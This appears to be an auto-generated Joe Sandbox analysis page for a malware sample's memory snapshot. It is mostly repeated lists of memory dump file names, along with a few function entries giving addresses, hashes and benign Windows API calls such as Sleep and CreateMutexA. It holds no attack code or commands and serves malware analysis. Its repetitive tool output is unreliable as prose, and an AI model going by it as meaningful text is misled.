Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e2cd5e525d3350627773bebbf6f9855a590d8b947343f90c7c42cd58ce597794
Instruction ID: 13e41d132cd590e1a690036ee1aadc7af99d29b8bbb07ed66c5fee879c39489a
Opcode Fuzzy Hash: e2cd5e525d3350627773bebbf6f9855a590d8b947343f90c7c42cd58ce597794
Instruction Fuzzy Hash: A3315B32A041058BEB18EB78DD89B6DB776EBC1314F24C62CE118973D1C7359985CB53

Function 00979ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b4b37a8fce9eb6a9edfb0b1a1eeee68208262a57a1cc40e5cfda10fd4eefe34c
Instruction ID: eb6129d38e1b7b51cd7a9b9fa2160dd3f3bc9fbb61011f138740aadd9a0fafab
Opcode Fuzzy Hash: b4b37a8fce9eb6a9edfb0b1a1eeee68208262a57a1cc40e5cfda10fd4eefe34c
Instruction Fuzzy Hash: 0F217932A142019BEB18BB68ECC5B6DB776EBC1310F20C22DE11C877D0D7759981CB52

Function 0097A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 516a043775395256673afa12822514c826190e6d35d4940fcdd368e803739fa3
Instruction ID: 2e7d82b7de3c027ace2019d7432255ac6dbb458f481e60d39edd95cfa1b5229c
Opcode Fuzzy Hash: 516a043775395256673afa12822514c826190e6d35d4940fcdd368e803739fa3
Instruction Fuzzy Hash: DE213D33659201DBE72477B89C86B6EB365DFC1700F24C92AE14C963D1CA7A498186A3

Function 0097A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0097A963
CreateMutexA.KERNELBASE(00000000,00000000,009D3254), ref: 0097A981

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5a5cd819cef4438f629d498a3b288185495ea62912a0af649d9d0f56ef265c7e
Instruction ID: 16b5357ad159cd95e05a5ba356312d98d1a546a394dbd87d4a639dfadb306eae
Opcode Fuzzy Hash: 5a5cd819cef4438f629d498a3b288185495ea62912a0af649d9d0f56ef265c7e
Instruction Fuzzy Hash: B32176326542019BEB18BF28EC8576DB776EBD1311F24C22DE518977D0D7369980C753

Function 009AD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,009AA813,00000001,00000364,00000006,000000FF,?,009AEE3F,?,00000004,00000000,?,?), ref: 009AD871

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626590761.0000000000BCB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626604835.0000000000BCC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626621297.0000000000BD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626637155.0000000000BD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626679645.0000000000BDA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626701139.0000000000BE1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626718037.0000000000BE3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626734047.0000000000BEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626750400.0000000000BF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626770424.0000000000BFA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626786663.0000000000BFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626802996.0000000000BFC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626823019.0000000000C04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626847938.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626870802.0000000000C1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626902181.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626925946.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626989783.0000000000C72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627099301.0000000000C73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627117464.0000000000C76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627133327.0000000000C78000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627150769.0000000000C87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1627167976.0000000000C89000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_970000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 407d11081553b94216d6a4212b68eb89cb3177cf71ffc8f6bafa29148bf1cc96
Instruction ID: bfb9d35ec673f298eea96857ba36cde57041bd8e5f135f1b512350683a778b87
Opcode Fuzzy Hash: 407d11081553b94216d6a4212b68eb89cb3177cf71ffc8f6bafa29148bf1cc96
Instruction Fuzzy Hash: CDF0E93164722566DB216B7A9C01B5B775DDF87370B148521FD0AA7981DB28DC0085E0

Non-executed Functions

Function 00972EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00972F5F
__Mtx_unlock.LIBCPMT ref: 00972FCC
__Cnd_broadcast.LIBCPMT ref: 00972FE3
__Mtx_unlock.LIBCPMT ref: 009730F5
__Mtx_unlock.LIBCPMT ref: 0097319B

Memory Dump Source

Source File: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, Offset: 00970000, based on PE: true

Associated: 00000002.00000002.1626088718.0000000000970000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626103997.00000000009D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626159008.00000000009D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626174272.00000000009DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626192380.00000000009E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626207606.00000000009E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626222409.00000000009E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626316884.0000000000B3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626332933.0000000000B41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626351524.0000000000B55000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626366093.0000000000B58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626379799.0000000000B63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626408737.0000000000B6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626424006.0000000000B6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626438824.0000000000B76000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626453676.0000000000B7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626472584.0000000000B93000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626491463.0000000000BA2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626507986.0000000000BA4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626524349.0000000000BA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626541714.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626556345.0000000000BB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1626575139.0000000000BC5000.00000080.00000001.01000000.00000007.sdmpDownload File
